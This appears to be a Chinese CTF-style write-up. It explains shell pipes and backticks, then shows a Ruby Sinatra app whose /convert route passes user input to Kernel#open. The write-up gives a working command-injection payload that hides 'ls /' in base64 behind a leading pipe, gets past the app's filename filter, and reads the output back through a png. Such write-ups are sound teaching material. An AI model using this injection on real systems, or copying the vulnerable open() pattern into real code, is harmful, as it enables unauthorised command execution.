一:原理
1、管道符
使用此管道符"|"可以将两个命令分隔开,"|"左边命令的输出就会作为"|"右边命令的输入,此命令可连续使用
2、反引号
(1)、( ` )这个字符所对应的键一般位于键盘的左上角,不要将其同单引号(’)混淆
(2)、反引号括起来的字符串被shell解释为命令行,在执行时,shell首先执行该命令行,并以它的标准输出结果取代整个反引号(包括两个反引号)部分。
二:源码
require 'sinatra'
require 'digest'
require 'base64'
get '/' do
open("./view/index.html", 'r').read()
end
get '/upload' do
open("./view/upload.html", 'r').read()
end
post '/upload' do
unless params[:file] && params[:file][:tempfile] && params[:file][:filename] && params[:file][:filename].split('.')[-1] == 'png'
return "<script>alert('error');location.href='/upload';</script>"
end
begin
filename = Digest::MD5.hexdigest(Time.now.to_i.to_s + params[:file][:filename]) + '.png'
open(filename, 'wb') { |f|
f.write open(params[:file][:tempfile],'r').read()
}
"Upload success, file stored at #{filename}"
rescue
'something wrong'
end
end
get '/convert' do
open("./view/convert.html", 'r').read()
end
post '/convert' do
begin
unless params['file']
return "<script>alert('error');location.href='/convert';</script>"
end
file = params['file']
unless file.index('..') == nil && file.index('/') == nil && file =~ /^(.+)\.png$/
return "<script>alert('dont hack me');</script>"
end
res = open(file, 'r').read()
headers 'Content-Type' => "text/html; charset=utf-8"
"var img = document.createElement(\"img\");\nimg.src= \"data:image/png;base64," + Base64.encode64(res).gsub(/\s*/, '') + "\";\n"
rescue
'something wrong'
end
end
三:操作
写入 file=| `echo bHMgLw== | base64 -d` > 563d256cfbf6dce1716dde5cccc587b9.png
反引号内是把传入的base64值恢复,之后通过反引号执行,将输出写入图片,然后再次查看图片,用base64解码即可。
注:(
File.open()
方法在 Ruby 中用于打开文件并进行读取或写入操作,并不用于执行命令。
如果你想要执行系统命令,可以使用 Ruby 的 system()
方法或反引号(``)来执行命令)